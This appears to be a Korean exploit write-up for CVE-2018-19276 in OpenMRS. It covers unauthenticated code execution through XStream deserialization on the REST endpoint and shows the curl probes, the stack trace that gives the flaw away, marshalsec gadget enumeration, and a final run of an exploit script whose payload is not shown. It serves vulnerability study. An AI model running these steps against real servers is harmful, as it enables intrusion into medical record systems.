
CVE-2018-19276 - OpenMRS Insecure Object Deserialization RCE
출처: https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607
안전하지 않은 객체 역직렬화를 통해 로그인 없이 임의 코드 실행이 가능합니다. Webservices 모듈의 IP 제한은 이 공격을 막지 못합니다.

Bishop Fox의 보안 어소시에이트 Nicolas Serra가 발견했습니다.
공식 문서를 사용하여 OpenMRS의 REST 웹 서비스 작동 방식을 확인해 보겠습니다:
curl -u admin:test -i 'http://localhost:8080/openmrs/ws/rest/v1/concept'
수정 사항 확인:
이 정보를 찾을 수 있습니다:
https://github.com/openmrs/openmrs-module-webservices.rest/pull/369#issuecomment-443513473
기본적으로 POST 요청의 Content-type이 XML인 경우 필터링하므로, 아마도 XXE 또는 안전하지 않은 역직렬화일 것입니다 👍
문서를 다시 확인해 보겠습니다:

좋습니다. REST 웹 서비스에 XML을 보내면 어떻게 될까요?
> curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8888' -H $'Content-Type: text/xml' $'http://127.0.0.1:8888/openmrs/ws/rest/v1/concept'
HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=A896A8B1B0092400DBF74E2E8C365949; Path=/openmrs; HttpOnly
Content-Type: application/json;charset=UTF-8
Content-Length: 8980
Date: Mon, 11 Mar 2019 12:58:30 GMT
Connection: close
{"error":{"message":"[ : input contained no data]","code":"com.thoughtworks.xstream.io.xml.XppReader:126","detail":"com.thoughtworks.xstream.io.StreamException: : input contained no data\n\tat com.thoughtworks.xstream.io.xml.XppReader.pullNextEvent(XppReader.java:126)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.readRealEvent(AbstractPullReader.java:148)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.readEvent(AbstractPullReader.java:141)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.move(AbstractPullReader.java:118)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.moveDown[...]
오류에서 매우 흥미로운 내용을 발견했습니다: xstream.XStreamMarshaller
Java 역직렬화를 사용하여 RCE를 트리거하기 위해 멋진 도구인 marshalsec을 사용해 보겠습니다.
사용 가능한 가젯 확인:
$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream -v
No gadget type specified, available are [SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin, CommonsConfiguration, LazySearchEnumeration, BindingEnumeration, ServiceLoader, ImageIO, CommonsBeanutils]
이 시점에서 저는 XStream의 모든 가젯에 대해 github 검색을 사용하여 발생을 찾았습니다. ImageIO 가젯만 유망해 보입니다:

시도해 봅시다:

바로 그것입니다!
python CVE-2018-19276.py
